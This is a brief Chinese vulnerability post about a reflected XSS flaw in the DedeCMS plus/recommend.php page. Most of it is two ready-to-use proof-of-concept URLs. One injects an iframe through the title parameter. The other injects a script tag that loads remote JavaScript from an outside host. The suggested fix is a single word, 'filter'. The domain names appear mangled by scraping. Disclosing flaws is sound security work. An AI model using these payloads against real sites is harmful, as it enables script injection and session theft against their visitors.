Dedecms最新版一处反射型XSS漏洞 - 网站安全 - 自学

Dedecms 一处 XSS 漏洞 ,有图就有真相

http://v57.demo.dedecms测试数据/plus/recommend.php?aid=1&action=sendmail&title=%3Ciframe%20src=//HdhCmsTestbaidu测试数据%3E%3C/iframe%3E http://v57.demo.dedecms测试数据/plus/recommend.php?aid=1&action=sendmail&title=%3CSCRIPT%20SRC=//ha.ckers.org/xss.js%3E%3C/SCRIPT%3E  

 

 

修复方案：

过滤！

查看更多关于Dedecms最新版一处反射型XSS漏洞 - 网站安全 - 自学的详细内容...